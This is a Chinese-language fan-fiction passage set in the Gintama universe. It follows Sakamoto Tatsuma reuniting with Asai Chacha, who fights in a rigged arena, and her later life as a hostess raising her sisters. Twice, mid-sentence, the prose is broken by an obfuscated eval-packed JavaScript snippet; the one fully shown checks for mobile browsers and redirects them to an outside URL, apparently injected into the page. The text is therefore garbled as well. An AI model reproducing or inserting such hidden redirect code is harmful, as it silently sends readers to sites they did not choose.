至于价格,他现在回想起来也只有很模糊的记忆。只记得他喊了陆奥去付账后,回去后她不仅狠狠地把他揍了一顿,还把他绑在一艘小艇上,用绳子繫在主船的船尾。让他一个晕船的舰长在海上颠簸飘摇了整整两天。 「也许人家只是随口说说,根本没打算带在身上。」陆奥虽然嘴上这样打击他,但还是帮他安排了回地球的航程。 当他再次踏上这片土地的时候,已经过了好几年。 如今的津田家已经人去楼空,只剩下一位老佣人和他的妻子看守着空荡的院落。因为以往受过老爷子诸多照顾,他们便决意在此终老,守护着主公长眠的地方。 至于津田家的遭遇,还是老佣人告知他的,一切还得由两年前,浅井家的变故说起。 某天夜里,浅井家的宅邸遭到一群身份不明的贼人闯入,当时的家主和二少爷惨遭杀害,由于本家已经没有男丁,家族的继承权最终落到了分家,家主的一位堂弟手上。 浅井夫人(即津田老爷子的女儿)在丈夫和儿子离世后精神逐渐失常,终日恍惚。某个夜晚,她在浅井宅燃起了一场大火,那场火烧得很盛,但据浅井家后来发出的声明,那夜并没有任何人命伤亡。只是自此以后,没人再见过浅井夫人和她的三个女儿。 津田老爷子的身体自从长孙去世后已大不如前,加上女儿和孙女们的失踪、孙子和女婿的相继离世,他的健康状况急转直下。 最后,在一个寂静的夜晚,他选择了亲手结束自己的生命。 坂本辰马伫立在空荡荡的院落裏,手中紧握着那个淡蓝色的剑鞘。 陆奥看着他傻乎乎地捧着礼物下船,但傍晚回到船上时,他仍然紧握着那柄刀鞘,神色却变得暗淡。从他的表情就能看出,这次的约定恐怕已经无法实现,不论是他失约了,还是对方失约了。 战后的清算持续了好几年,并非人人都能全身而退。 虽然陆奥不擅长安慰人,但当坂本邀请她值班后一同喝酒时,她还是答应了。 那晚,坂本不停地斟酒畅饮,而陆奥则静静地听他断断续续地诉说过往。这时她才知道,与他订下约定的并非什麽小情人,而是一位已故战友的妹妹。 这个男人虽然总是吊儿郎当的,却是一个重情谊的。 过了一段时间后,他们再次回到地球。那时正在和一个本地组织谈生意,对方热情地邀请他们观看一场擂台赛。这个擂台据说是天人非法搭建的,用来进行赌博和让不见得光的钱换个性质,而幕府对此睁一隻眼闭一隻眼。 这些人大概是知道快援队如今在宇宙声名显赫,才特意邀请他们前来,想摸清他们的底细,试探能否将他们拉拢过来。 那些蠢货要是知道这个商队是怎样建立的话,绝对会后悔这个决定。 由于幕府也牵涉其中,他们不敢贸然行动,陆奥和坂本只能假装对此感兴趣,藉机打探更多情报。 据説擂台有一个台柱,外号叫白天狗,也有人戏称他做牛若丸,是个个子很小,却有一身厉害剑法的人。他不常出臺,却始终保持着全胜的战绩。 在那天的擂台上,坂本辰马看到了熟悉的身影。 白天狗是个瘦弱的金发少年,长发束成高马尾,脸上戴着白色天狗面具,身穿一套平安时期的水干,就犹如历史画卷上的源义经。 实际看了才知道,他被唤作牛若丸也并非出于打扮,他的剑术确实如传闻中出色。 他手握单刀,但无论是挥剑时的灵活性、攻击角度、还是握刀姿势,都带着些二刀流剑术的韵味。那灵巧的身法和精准的剑路,一点都没羞辱牛若丸的称号。 坂本辰马曾经也认识一个擅于二刀流的人,那人在战场上以灵活多变的剑术闻名。当他遇到体型较大的对手时,就会巧妙地收起副刀,转而专注于主刀的运用。即便如此,那些经年累月练就的习惯依然深深烙印在他的剑法中,常人可能不会察觉到,但对剑术有一定造诣的人并不难发现。 面前的天狗的使刀手法,正正就和他那位故人一样。 坂本龙马全神贯注在擂台上,甚至问同行的人借了望远镜,试图看清她手上那把刀。 对了,是那个人的刀。 「陆奥,我终于找到了。」 就如上述所说,这隻天狗是个剑术高手,凭着身型轻巧的优势,能轻易打败比自己高大数倍的荼吉尼族人,与辰罗族对打时更是招招打中要害,毫不落下风。 倒是在面对地球人时,他会稍微放水,让对战变成一场表演性质的拉锯战。 而最终,这些对手都会被他一刀砍中腰腹后缓缓倒下。 只是那些对手倒下的方式总让人觉得不妥。 坂本辰马是从战场下来的,自然看出了有些不对劲。那些只为图乐的天人们显然没有这个眼力,待赛后评判检查过败者已断气,便会将人带走。 天人们沉醉在白天狗华丽的剑法中,完全没注意到他每次击杀的方式都如出一辙。 比赛结束之后,坂本辰马和陆奥并没有立即离开竞技场。他们在后门附近一条偏僻小道上徘徊,那裏人迹罕至,只有几盏昏黄的路灯照亮着石板路。根据他们打听到的消息,这条小道是白天狗每次比赛后必经之路。 大概过了二十分钟,小巷的末端传来了动静。 戴着白色天狗面具的身影再次现身,换下血衣,改穿一套素色的男式浴衣。 一个天人跟在他身后,两人低声交谈后,白天狗从口袋掏出一个装满钞票的信封,数出几张递给对方。那天人随即转身,从后方的垃圾堆中拖出一个人形物体。 定睛细看,那正是刚才与他对打的人。 天狗搀扶着受伤的对手离开天人驻守的区域,男人一米八的身高压在他瘦小的身板上,让他步履蹒跚。坂本辰马和陆奥远远跟在后面,生怕惊动到他们,只好与二人保持着安全距离。 「要是要跟着我的话,不如过来帮帮忙吧。」白天狗轻轻地说道,显然早已察觉到有人在跟踪。 坂本和陆奥互相交换了一个眼神,立即上前。坂本接过伤者,陆奥则扶着另一侧。天狗在前方引路,带领他们来到贫民区的一间破旧房子。 房子里有几张破旧的床铺,躺着几个受伤的武士。他按着天狗的指示,小心翼翼地将刚才的对手安置在其中一张空置的床上,随后把旁边的药箱搬到面前,开始替他处理伤口。从那熟练的动作来看,这显然不是第一次做这种事。 听见这边的动静,一位年迈的老人缓缓从隔壁房间走了出来。他步履蹒跚,拄着拐杖支撑着身躯,挪至伤者面前。 「这里就交给我吧,天狗大人。」 白天狗听闻此言点了点头,放下手中物品,垂眼看着自己沾满鲜血的双手。 坂本辰马试着和他撘话,却被他抢先开口「我去洗一下手。」 他説完便转身离开房间,走到半路,他回过头看向坂本和陆奥「你们能在外面等我吗?我不想打扰他们休息。」 坂本摸着头笑了笑,马上便被陆奥拉着走到小巷外等候。 没过多久,那道身影从房子裏缓缓走出来。在微弱的路灯下,他伸手摘下了遮掩多时的面具。昏黄的灯光映照在少女稚嫩的脸庞,坂本的猜测终于得到了确认。 「好久不见了,坂本先生。」她説,声音不再刻意压低。 - 他们在一间深夜营业的居酒屋坐下,坂本说随便点,于是陆奥和千茶都毫不客气地点了许多菜,两人面前很快堆满了空碟子。要不是和他哥认识,他定会以为千茶也是夜兔族。 千茶还未成年不能喝酒,陆奥也只是浅嚐了一点,坂本像喝水一样喝着清酒,而这天他的副官也很难得地没有阻止他。 虽然他已经听讲津田家的下人讲述状况,但他还是想听一次千茶的版本。 其事内容也是相差无几,只是多了几分阴暗的计算。 两年前,她的父亲和二哥遭堂叔的人暗杀身亡。得权后的堂叔为了让下人信服,便试图让千茶嫁给自己的儿子。她不愿屈服,于是和母亲策划了一场火灾,藉机假死脱身。 她们逃到了一个贫民区暂时避开追踪。母亲在生下第五个孩子后,健康便每况愈下,加上这段时间的奔波,几乎都是卧病在床,养家的重担就落在了千茶的肩上。 她并不蠢,在火烧大宅前一个月便已经让人把屋子里属于他们一家的东西分批换走,值钱的东西几乎都是藏在哥哥们的遗物裏的,被问起就说是母亲受打击后神智不清,看着会触景生情。 为了掩人耳目,她在身上只留下一部分应付日常开支的现金,其馀的已经放到其他安全的地方保管。但再多的钱也是会有花完的一天,所以她也需要想办法赚取更多收入维持家计。 她不能让妹妹们挨饿,更不能让母亲缺药。 于是她每天半夜在妈妈和妹妹们睡着后,便踏着单车去几公里外的屠宰场打工。刚开始每天回家都要乾呕半天,后来才渐渐习惯那种刺鼻的腥味。等到鼻子适应了血的味道后,她又靠着屠宰场认识的人搭关係,找了份傍晚开始的工作——戴上面具,站上擂台。 虽然擂台比较危险,但收入却比屠宰场高上百倍,于是她便辞掉屠宰场,转了另一份相对休闲的博物馆导览。不用打工的日子,她便在家照顾母亲、教导妹妹们学习。 作为武家的后人,她和大哥一样在剑术方面也有几分天赋,再加上自小的练习,以及她对自己狠得下手,短短一年多的时间就成为了这个擂台的台柱。 得知那些天人又着爱看地球人相残的恶趣味,她便在剑尖涂上假死药。每当评判判定对手死亡后,她就以为对方安葬以求心安为由,花点小钱取回对方的「尸体」,再把人送到相熟的医馆治疗。她从比赛赚来的钱,也会分给这些伤者——简单来说就像他们刚才看到的情况。 天人们只在乎擂台上的表演效果,台下只要给足好处,什麽都可以谈。 至于那些来挑战她的天人,她倒乐意在擂台上好好教训这些视人命如草芥的入侵者。 反正经过屠宰场的历练,鲜血和尸体早已不再让她害怕。 她说起这些经历时,眼裏没有一丝悲伤,平铺直述得好像在唸新闻上的内容。 她赚来的钱主要用于支付母亲的药费和妹妹们的生活费,剩馀的则用来打点关係。但让人庆幸的是,她倒也没有亏待自己——身上的衣服虽然样式简素,但一摸就知是上等的布料。 「那你接下来打算怎麽办?」一直默默吃着东西的陆奥开口问道。 刚才经坂本介绍,千茶得知这位比她年长一些的女孩子是他的副手。 「你打算復仇吗?」陆奥继续问。 看着千茶,她彷彿看到了遇见坂本辰马之前的自己——对世界失去所有喜悦,只为了达到他人的期望而活,做着毫无热情的工作,像个行尸走肉般度日。 但千茶的情况与她不同,家里还有母亲和妹妹需要照顾,每当提起她们时,她的眉眼都会变得柔和起来。正因如此,她无法像坂本当年那样,贸然对这个孩子伸出手。 她是个有自己想法的孩子。 作为海盗首领的女儿,陆奥对于裏世界的运作比谁都熟悉,她刚才粗略算了一下千茶比赛所得的钱和花费,那些所谓的打点用的钱也许佔了不止一半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940186|177320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一个住在贫民区的家庭可不会有需要打点的地方,有这些闲钱也是先用来改善生活环境,换个住的地方,除非… 她有另外的打算。 「父亲无能,二哥身体弱,就算他们还在世,对我来说迟早也是负累,倒不如感谢那些人替我解决了麻烦。」千茶低着头,漫不经心地说着,浏海遮住了她的眼睛,让人看不清她的表情,但她们都知道这不可能是她的真心话。 坂本听着她的话大声笑了起来「要是你真的那麽冷漠,在擂台上就会直接杀掉那些武士,哪需要这样费心思为他们安排后路。」 对陌生人也能至此,对家人怎可能那麽狠心。 千茶避开了他的笑眼,低头喝了一口麦茶「我并非为他们安排后路,只是想着日后若能多几把可用的刀,也算是投资。」 「小千还是这麽不坦率啊。」坂本辰马笑着说,伸手像小时候一样揉了揉她的头发「跟陆奥一样都是个傲娇呢。」 说完,他的脚背立即被旁边的副手狠狠踩了一脚。他痛得皱起眉头,揉着被踩的地方,已经起了一个极其明显的红印。 「仇恨是没有意义的,我不会去復仇。但我的东西被人抢走了,我必须为自己讨回公道,毕竟我当姐姐的,要给妹妹们树立好榜样。」 以暴制暴并非她的第一选择,但那些动她蛋糕的人必须付出代价。 就如她哥哥以前所说,他妹妹确实聪慧。她清楚,仇恨会让人陷入泥沼,所以她决定以利益角度出发,重新包装。 復仇和讨公道,怎听都是后者对小孩子来説更有教育意义吧。 不仅没有被仇恨蒙蔽双眼,反将怒火转化为冷静的计算。当年那个总是笑嘻嘻地缠着大哥,説着丧气话想逃课的小女孩,如今已经蜕变成一个懂得权衡利弊,能够在乱世中为自己和家人开闢生路的少女。 「说起来,我好像还欠你一份礼物。」坂本辰马説着,从大衣夹层中拿出一个淡蓝色的刀鞘,递到千茶面前。 他每次来地球工作都会记住将它带在身上,希望有天能和她遇上。 那个毫无生气的少女在看见刀鞘时,难得地亮起眼睛。她小心翼翼地i接过剑鞘,眼神却渐渐变得恍惚。她轻抚着蓝色金属上精緻的花纹,嘴角浮现一抹淡淡的微笑。 「谢谢你呢,她很漂亮。」 说着,她缓缓从腰间解下那把配着残旧刀鞘的刀。这是她大哥留下的遗物,也是见证他在战场上浴血奋战、出生入死的忠实伙伴。后来它成为了她的刀,从曾经为保护家园而挥动的名刃,沦落成了擂台上打假赛的器具。 「不过这把刀已经被我弄髒了,配不上那麽漂亮的剑鞘。」 「对武士来说,他的刀无论沾上多少血迹、以何种方式沾染,只要握刀之人是为了守护重要的人而挥動,这把刀就永远不会变髒。」坂本辰马收起笑容,难得地露出认真的神情。 陆奥已经很久没见过这个人如此认真说话了。每当这种时刻,当她凝视着他的侧脸,总会想起自己当初决定追随他的原因。 而如今,她也终于明白了那时他朝她伸手时的那份心意,因为她也同样。 「虽然我不认识你大哥,但要是我有你这样的妹妹,我一定会感到非常自豪。」陆奥说。 千茶眼神轻轻颤动,轻抚着剑身,指尖感受着刀上每一道细小的刻痕,眼眶微微泛红。她仰起头,用力眨了眨眼睛,努力不让泪水落下。 「谢谢你们。」 三人离开居酒屋时已是深夜,街上空荡荡的,只剩下几盏昏黄的路灯。坂本喝得烂醉,整个人挂在陆奥身上,需要她搀扶着才勉强能走路。 「我们先送你回去吧。」陆奥説。 看着醉得东倒西歪的坂本辰马,千茶有些犹豫「他都这个样子了,我自己回去就好了。」 陆奥嫌弃地瞥了眼身旁那个不成器的醉汉,转头对千茶说「你等我一下。」 说完,她带着上司拐进一条后巷,千茶跟了上去,只见陆奥顺手就把背上的人扔到垃圾堆上。 「明天再来收拾他吧。」陆奥拍了拍手上的灰尘。 千茶看着眼前这一幕,忍俊不禁。这样看来,还真不知道谁才是老闆。 夜色渐凉,陆奥和千茶并肩而行,街灯为二人拉出长长的影子。千茶时不时低头凝视腰间那个淡蓝色的刀鞘,心中涌起一阵暖意。 即使身处乱世,仍然有人记得那些看似微不足道的承诺。 一路上,陆奥向千茶分享着在宇宙中的种种经历,千茶听得入神,不时追问细节。不知不觉间,这段路彷彿很短暂,两人已经走到了千茶家门前。 「我到了。」 陆奥点点头,给千茶递上了一张卡片「我们会在地球逗留一段时间,如果你有任何需要都可以联络我。」 千茶盯着她看了半饷,直到对方不自在地移开视线,她才把话问出口。 「陆奥姐喜欢吃甜点吗?」 陆奥困惑地眨眨眼睛。 「听说前面街口开了一家新的甜品店,我想和你一起去。」 这是她始料未及的发展,虽然有些意外,但陆奥毫不犹豫地点头答应了。 这是她第一次收到同年代女孩子的邀约。 夜风带来一丝凉意,千茶向陆奥道别后转身进了家门。 多年以后,每当千茶回想起这段往事时,总觉得上天对她还是眷顾的——在她几乎迷失自我的时候,让她遇见了愿意陪伴她同行、从不批评她选择的人。 坂本辰马是在寒冷的清晨醒来的,全身上下因在户外过夜而感到僵硬。他努力回想昨晚的情况,但最后的记忆只停留在和两个女孩子在居酒屋里喝酒的画面。他从口袋里摸索出手机,儘管手指有些发抖,还是熟练地按响了副官的电话。 「你们真过分啊,把我扔在垃圾堆里睡了一晚。」他话裏虽则抱怨着,但语气却是异常的开朗,也许还得归功于他的承诺得以兑现。 「再囉嗦我就把你扔进太空。」电话那头传来陆奥不耐烦的声音,大槪是被刚被他吵醒,説完这句话后,她也立即挂掉了电话。 坂本打了个哈欠,慢慢从垃圾堆里爬起来,拍了拍身上的灰尘。想起昨晚千茶收到剑稍时的惊喜,脸上不禁露出了淡淡的的笑容。 「将辉,你妹妹果然很可爱啊。」 4. 贏得人心的最佳方法就是善用愧疚感 那是浅井一家刚搬到江户时的事。 令人讨厌的梅雨季节在不久前来临,微冷的空气中瀰漫着潮湿的气息。就算带了雨伞出门,衣服亦难免沾上星星点点的雨水。 志村妙一如既往地提早了十五分钟回到Smile,她把雨伞插在架子裏,边用手帕擦拭身上的水珠,边往休息室走去。待衣服不再潮湿,她才拿起工作服前往更衣室。 她找了一个空的间隔,听着旁边的女孩子们讨论一位叫茶茶的人,那个茶茶似乎是最近才来的新人。 据说茶茶每天下班后也会赶着回去,平常也很少和同事交谈,所以她来了快两週,仍然没哪个同事和她比较聊得来。 虽然和同事的关係生疏,但她在客人中间却非常受欢迎,不仅长相漂亮,还很善于言谈。儘管是新人,每天都有客人指名,大多数还是第一次来的客人。 人缘不太好,业绩却很优秀。这便是她成为茶馀饭后话题的症结所在。 阿妙对这些闲言闲语并不在意。毕竟这种情况在俱乐部很常见,新来的女孩总会引起一阵骚动。 有人因为客人被抢走而心生不满,有人则因为她的疏离而感到不快。 这些流言蜚语往往会随着时间慢慢消散,但在平息之前,总会经历一段不太愉快的过渡期。 阿妙没有闲心说人家的八卦,换好衣服就步出更衣室了。刚踏出一步,就看见话题的女主角正坐在外面等候空位。她手里拿着一杯星○克的香草沙冰,一边喝着一边仰望着天花板。 似乎感觉到有人在看她,千茶转过头来和阿妙对上了视线。她朝阿妙轻轻点头,露出一个淡淡的微笑,阿妙也礼貌性地回应。 更衣室的谈话声清晰传来,阿妙这才发现这里的隔音如此糟糕,刚才那些女孩子的话,她想必都听见了。但当事人依旧优雅地喝着她的冰沙,看起来倒是毫不在意。 这个新来的女孩子听说与阿妙年龄相彷,都是十八、九岁左右,而且最近才搬到江户来。除此之外,她对这位新人并不了解。店主也坦言对这女孩所知不多,聘请她时也没作多想。 光凭她那张脸,即使不会招待客人,聘回来在店里坐冷板凳,也绝不能让别家店抢走她。 「阿妙小姐喜欢喝星〇克吗?」 阿妙一时之间反应不过来,下意识地点点头「不是很常喝,但也算得上喜欢的…」 「那下次我连阿妙小姐的份也一起买吧。」 阿妙猜想,她大概误以为自己盯着她看是因为那杯饮料。虽然是个误会,但现在解释反而会更尴尬。 「谢谢。」 千茶笑笑,把剩下乳白色碎冰的杯子扔进旁边的垃圾桶。 「那我先去换衣服了,下次再聊。」説完,她便抱着衣服走进刚空出来的更衣室间隔。 那晚,千茶和几个女孩子一起接待同一组客人。对方是个豪爽的熟客,很捨得开酒,但他带来的一位同行朋友却是手脚不太安分。 坐在那位客人旁边的女孩子正巧是个怕事,虽然脸上明显露出不情愿的表情,但仍任由对方毛手毛脚。 千茶似是注意到女孩的不对劲,她不动声色地放下酒杯,从座位上起来,藉故找黑服拿冰,顺势绕到那男人身后。她俯身在他耳边低语几句,那男人的注意力立即被她吸引,手也不再乱动。她让那个女孩子坐到一旁,自己则坐到了男人身边的空出来的位置。 女孩子看起来松了一口气,朝千茶投来感激的眼神,她只是朝对方微微一笑,继续和客人们谈笑风生。 这一晚过后,店里的女孩子们对千茶的态度似乎也有了微妙的改变。 几天后的一个下午,茶茶拿着两杯星〇克的饮料走进店里,递给了正在整理妆容的阿妙。 「阿妙小姐,我不知道你喜欢喝什麽,就按我的喜好买了,你先挑吧。」 阿妙看了看两杯饮料,香草星冰乐和巧克力星冰乐。她犹豫了一下,最后选了后面那杯,千茶也拿起剩下的香草星冰乐喝了起来。 「谢谢你。」 「不客气。」 她原本以为千茶只是随口说说而已,没想到她真的带来了饮料,还特意买了最大杯的。 阿妙轻啜了一口巧克力星冰乐,抬眼望向千茶。只见对方正专注地看着手机,金色的发丝在灯光下闪烁着柔和的光芒。 儘管已经相处一段时间,阿妙仍然摸不透这个女孩子是个怎样的人。 她一直暗中观察着千茶的一举一动。这个女孩子虽然对每个人都很温柔,却总是给人一种若即若离的感觉。就像刚才那样,她脸上挂着笑容,眼神却没有丝毫温度。 这时,千茶口袋里响起电话铃声,她放下手中的手机,掏出另一部,朝阿妙点头示意后走到一旁接听。 阿妙的视线不由得落在她放在桌子上的电话。手机桌面是千茶和两个小女孩的合照,她们和千茶一样都是金发,只是颜色深一些,眼睛也是玻璃珠子般清澈的湖水色。 这是她第一次看见千茶露出如此真挚、不带任何谄媚的笑容。 那晚,阿妙离开店里时,在门口发现两个站在门簷下,穿着雨衣拿着伞的孩子。 夜里飘着微微细雨,夜风吹来有些寒意,她便走上前去关心了几句。 「小朋友,这麽晚了怎麽还在这里?有大人陪着你们吗?是不是迷路了?」 年约十二、三岁的女孩摇摇头「我们姐姐今天出门忘记带伞,所以我们特地来帮她送伞。」 两个孩子抬起头来,摘下了雨衣的帽子,一头金发散落开来。那熟悉的金发碧眼,立即让阿妙想起千茶手机萤幕上的合照。 「是姐姐!」小女孩突然兴奋地喊道,指着从店里走出来的千茶。 千茶看见妹妹们,脸上闪过一丝惊讶。 「你们两个怎麽这麽晚还自己出门?」 「我们看天气预报说今晚会下雨,所以担心姐姐会淋湿。」年长的女孩解释道,把手中的伞递给千茶。她接过伞,脸上的表情顿时变得柔和起来。 茶茶轻抚两个妹妹的头,柔声说道「谢谢你们这麽贴心,但下次这麽晚就别出门了,我会担心的。」 说完,她又转向阿妙「让你见笑了。」 小女孩转了转眼珠,最后目光落在阿妙身上「这位大姐姐是姐姐的朋友吗?」 「对,你们向阿妙姐姐介绍一下自己吧。」 年长的女孩先开口「我叫春。」接着她指向身旁的妹妹「这是菊。」 「真乖。」阿妙像千茶刚刚那样,摸了摸他们的脑袋。 经过一番寒暄后,阿妙才得知千茶的父母早些年便离世了,现在她独自抚养着两个妹妹。 难怪她对工作那麽上心,下班后又急着回家。 茶茶看了看手錶「时间不早了,你们明天还要去寺子屋,我们快点回家吧。」 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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「这样啊……」千茶低着头,用略带唏嘘的语气和他解释「不用担心,我之前做的是完全不同类型的工作。那边虽然薪水不错,但没有任何福利和保障,而且稍有不慎就会闹出人命……」 听了这番话,众人的脸色变得微妙起来,纷纷向店长投去责备的目光,怪他多管闲事触及别人那些难以言喻的经历。 高薪、没有福利保障、很多大叔,最重要的是一不小心就会出人命,这听起来不就是风俗业或者援??吗?! 「总而言之,现在能在这麽安全的店里工作,我真的非常珍惜这个机会。若是我做了什麽让店长为难的事,请直接告诉我,我一定会改进的。」她说得诚恳真挚,脸上还恰到好处地流露出一丝怯弱的表情,这让女孩子们对店长的不满更深了。 「怎麽可能呢,我只是担心妳而已。」店长看见顶着那些杀气腾腾的眼神,赶紧为自己澄清。 也许是自知理亏,他赶紧找了个机会转移话题,问起她们接下来半个月的排班情况。千茶默默地看着店长慌张的样子,嘴角微微勾起一抹难以察觉的笑意。 她当然知道他们在误会什麽,不过让他们误会着也是好的。 毕竟浅井家的家训,就是永远别让人看透你手中的底牌。 她的父母兄长们显然不太精通此道,但没关係,这个家还有她。 5. 叉烧还是抢来的更美味 最近,志村新八总觉得他们的社长有点古怪,最明显的表现莫过于,某天他在给坂田银时打扫房间时,在他睡房的四个角落都看见一个小盐堆。 「银桑,这是什麽?」新八抓住路过的社长,拉着他走到其中一个盐堆前。 「不是一看就知道了吗,这是盐,是盐。」 「我是问你为什麽这里会有盐?」新八没他好气地说。 听见他们的对话,神乐也马上凑过来看热闹,她蹲在他们面前,伸手戳了戳盐堆,还顺手沾了一点来舔。 「报告!这确实是盐。」确认后,神乐转过身向他们摆了一个类似敬礼的手势。 「什麽都放嘴裏,马上和盐堆的神明道歉!」银时气急败坏地把神乐拉起来,少女也不示弱地和他对喊。 「神明大人一定会原谅我这个饿肚子的可怜美少女的!」 眼见他们又要上演小剧场,新八作为唯一清醒的吐糟役,赶紧打断「等等,什麽叫盐堆的神明?」 「当然就是住在盐堆里的神明啊!」银时一脸理所当然地说「你们都不知道吗?盐堆能驱邪,这就表示里面有神明居住。」 新八扶了扶眼镜,无奈地看着他们的社长,那傢伙又在胡说八道了。但他还是从那句话裏听出了这些盐堆的真正用意——驱邪。 「你这次又是在搞哪齣?」 神乐拍了拍手上的盐粉「小银自从接了茶茶小姐的案子后,就一直疑神疑鬼的,连半夜上洗手间都要特意叫醒我待在外面陪他。」 「我才没有疑神疑鬼!我只是担心你睡得太熟,连火警警报都听不见,所以才要你提高警觉的!」 她轻轻拍了拍坂田银时的肩膀,脸上挂着一副看透一切的表情「小银,你就直接承认你怕鬼吧。」 「你胡说什麽!我才不是怕鬼,阿银只是在用自己的方法保护你们而已!」话是这样说,但脸上那一丝慌乱出卖了他。 新八和神乐交换了一个眼神,彼此都看出了对方眼里的怀疑。 「保护我们的人只在自己房间放盐堆吗?」新八扶了扶眼镜。 「说什麽傻话,结界这种东西当然是范围越小、效果越集中,家里的盐只够放这里了,你们想要的话就自己去买吧。」 「你这麽害怕,到底茶茶小姐的案子是怎麽回事?」新八好奇地打听。他们只知道银时和坂本辰马去Smile喝酒那晚,一位叫茶茶的公关委託了他们一件案子。 那位茶茶小姐据说就是和坂本一起寄给坂田银时颜色教材的人,也就是他故友的妹妹。 但每当他们想要细问那件案子的详情时,他都总会转移话题,彷彿让他开口復述会引发什麽创伤后遗症似的。 那天新八回家后,便向姐姐打听了万事屋这个週末要处理的案子,他想知道银时为何会有这样奇怪的反应。 「并不是什麽複杂的事情,茶茶她最近租了新房子,想请万事屋帮忙搬家。毕竟她一个人带着两个小女孩,孩子们做不了太多体力活。」阿妙说。 这听起来是宗很简单的案子,类似的活他们平常也干不少,按理来说,银时也不该…… 正当新八感到困惑时,阿妙又补充道「不过茶茶也真是的,居然愿意租那种闹鬼的凶宅…听坂本先生说,那房子已经被退租三次了,牆上还会时不时出现血手印…她们胆子还真大呢。」 新八听完不禁打了个寒颤,他终于明白了答案。 看来有些事确实是不知道比知道来得好。 第二天,他顶着一双黑眼圈来到万事屋,轻拍银时的肩膀「走吧,银桑,我们去买盐吧。」 银时望向新八,脸上闪过一丝找到知音的感动,但当他对上神乐的目光时,立即换回平常那副吊儿郎当的模样。 「好啦好啦,既然你们这麽坚持要买盐,那麽阿银就陪你们走一趟吧。」银时懒洋洋地说着,随即从沙发上站了起来。 - 能被Smile店长称为天选的公关,浅井千茶在表情管理方面也是相当专业。虽然她觉得眼前这几个人的造型非常滑稽,但她还是拼死敛住笑意,只留下恰到好处的微笑向他们打招呼。 「这是新八君和小神乐吧?我经常听小妙説起你们。」 为了方便搬家,她换上了一套宽松的运动风格家居服,长发扎成低马尾,柔顺地垂在一侧肩膀上,脸上的妆容也比上次银时在店裏见面时要清淡。 不过,这些都丝毫不减她的美貌。 新八已经很久没有去过Smile了,自然也不认识姐姐的这位新同事。 他低头看了看身上绑着的盐包,意识到自己以这副奇怪的打扮出现在这位金发美人面前,心里不禁有些尴尬。他下意识地整理了下衣领,想让自己看起来不那麽狼狈,但越是在意,脸上就越发烫。 「那个,我们这样是…茶茶小姐你好….」 「你好,不用那麽拘谨的,新八君。」 神乐倒是毫不在意,蹦蹦跳跳地上前,胸前的盐包随着动作发出沙沙声响。 「我们带了很多盐来帮忙呢!」神乐笑嘻嘻地说,细听之下还带着一丝邀功的意味「小银说这样可以驱邪。」 「喂喂喂,别说得我像是很害怕似的啊,我可是为了你们着想才这样做的...」坂田银时嘴硬地说,但在场的人显然都不太相信他。 千茶没打算拆穿他,但她扫过他脸上时露出的一抹嘲讽已经是最好的暗示了。 「喂,你这是什麽表情。」 「没什麽…」 虽然她在人前保持着一副人畜无害的表情,但坂田银时凭着他敏锐的抖S直觉,百分百确信这个女人跟他是同类。 寒暄过后,浅井千茶带着万事屋来到一栋高级的公寓。 「东西已经在早上让搬家公司送过来了,接下来就麻烦你们帮忙拆箱子和摆放傢俱。」她一边转动钥匙,一边向他们交代。 银时凝视着眼前这栋传说闹鬼的单位,不自觉地吞了口唾沫,但还是故作镇定地说「很好,这些小事就交给我们吧。」 房间格局宽敞,是配备和室和洋室的3LDK,客厅和饭厅相连,完全没有鬼屋的阴森气氛。厨房虽然不大,但设备齐全,房间的採光也充足。 「这不是很普通的嘛…」新八説着。 刚走进房子,不远处就传来了小孩子吱吱喳喳的说话声。 这时身后吹来一阵阴风,他顿时后背一凉,立即转头看向银时。两人对视一眼,看来都察觉到了那些不对劲,纷纷紧抓着手中的盐包。 说话声渐渐停了下来,房内只剩下诡异的寂静。突然,一阵轻微的脚步声从走廊深处传来,声音越来越近,每一步都让人不寒而慄。 银时紧张得手心直冒冷汗,指甲不自觉地用力,直接戳破了手中的盐包。白色的盐粒零零落落地洒在地板上,发出细碎的声响。 「姐姐,欢迎回来!」一个同样穿着家居服的小女孩从房间跑出来,轻快地来到姐姐面前「我想要最里面那间房间!」 千茶轻轻摸了摸她的头「好啊,如果小春也没意见的话,你就睡里面的房间吧。」 説完,她转头向万事屋三人介绍「这是我最小的妹妹,小菊。」 菊礼貌地鞠了一个标准的躬,用着稚嫩的声音向大家问好。 这时银时才后知后觉地想起她家还有两个「妹妹」,有小孩子的説话声是在正常不过的事,他却被「凶宅」这个先入爲主的概念带偏了。 面前的小女孩让刚才提心吊胆的二人都松了一口气,而一向喜欢小孩子的神乐也立即上前去跟她説话。 千茶扫了一眼客厅,视线最终落在房间那端的走廊。 「小春呢?」她问菊。 「春还在房间换衣服!」 话音刚落,一个身穿运动服的少女从房间探出头来。见姐姐带了客人回来,她连忙整理了下衣领,然后走了出来。 她警惕地打量那几个陌生人,最终把视线落在银时身上「姐姐,这个男人是谁?该不会是我的未来姐夫吧?」 银时还来不及反驳,千茶就轻咳一声,用着一贯温和的语气说「别说傻话了,你姐姐我就算要嫁人,也只会嫁石油王或煤矿老闆。」 「还有赌场大亨!」小菊在旁边热切地补充道。 小春若有所思地点点头「说起来,IT企业老闆的前景也不错,而且他们对妻子的职业比较开明。」 「IT老闆吗,我觉得不太稳当,万一公司经营不善,搞不好会因为欠薪被告上法庭呢。」神乐不知从何时也加入了讨论,一脸认真地为她们打算「就像我们老闆一样,总是不给我们发工资呢。」 听见神乐的话,小春和小菊都露出了同情的眼神,小春还轻拍神乐的肩膀「这位姐姐你受苦了。」 